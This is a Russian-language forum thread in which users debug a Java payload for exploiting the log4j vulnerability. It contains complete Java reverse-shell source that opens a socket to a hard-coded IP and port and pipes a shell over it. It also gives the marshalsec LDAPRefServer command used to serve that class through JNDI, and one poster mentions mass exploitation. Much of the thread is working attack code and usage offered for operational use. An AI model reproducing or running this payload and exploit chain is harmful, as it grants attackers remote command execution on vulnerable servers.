есть такая ошибка Code: javac Exploit.java -source 8 -target 8 warning: [options] bootstrap class path not set in conjunction with -source 8 Exploit.java:5: error: class shell is public, should be declared in a file named shell.java public class shell { ^ 1 error 1 warning есть такой код: Code: import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class shell { public static void main(String[] args) { String host = "10.10.120.188"; int port = 4443; String cmd = "sh"; try { Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s = new Socket(host, port); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0) so.write(pi.read()); while (pe.available() > 0) so.write(pe.read()); while (si.available() > 0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e) {} } p.destroy(); s.close(); } catch (Exception e) {} } } в чем проблема?) Подфиксите плиз)
Насколько я понимаю, если у нас класс публичный (public class shell), то название файла, где он находится (Exploit.java) должно быть такое же, как этого класса. Для дополнительных приватных классов это не обязательно. Или файл переименовать, или класс...
Неожиданно) Еще такой вопросик, для полезной нагрузки мне нужно собрать класс, делаю я это javac Exploit.java -source 8 -target 8 на выходе получай файл Exploit.class и допустим генерю тот же самый бэк через метасплойт и на выходе имею .jar вопрос: в чем между ними разница? Я эксплуатирую log4j через LDAPrefServer https://github.com/mbechler/marshalsec : Code: java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://IP:8000/#Exploit" когда указываю на класс, получаю бэк-конект а если на jar то нет. с java незнаком абсолютно и углублятся пока что нет желания но хотел бы разобраться пока что хотя бы с этим моментом.
Также далёк от Java кухни и вангую сами создатели уже не совсем понимают что там к чему На начале хайпа log4j, в исследовательских целях, эксплуатировал это дело массово. На сколько я понял, конкретно в этом случае, коннектор JNDI ожидает в ответ что-то, что может создать экземпляр класса. Это, как ты уже убедился, может быть скомпиленный класс или, что не совсем очевидно, сериализованная строка (иногда даёт пробив там где его нет). JAR же это типа эльфа или экзешника, для виртуально машины Java и, предполагаю, одной программе было бы накладно и не совсем логично, в своём контексте запускать другую для получения какого-то результата. А как там этим делом распоряжается метасплоит, одному ему известно, нужно курить сорцы, однозначно. Может он просто компилит исполняемую jar обёртку, которая запустит твою нагрузку с беком. Распакуй это файл unzip-ом и почекай, что внутри, скорее всего там будет лежать Exploit.class.
Неверное рассуждение. Таки оказывается можно и jar скормить, просто отвечать нужно правильно, вот тут расписано очень хорошо и коротко. .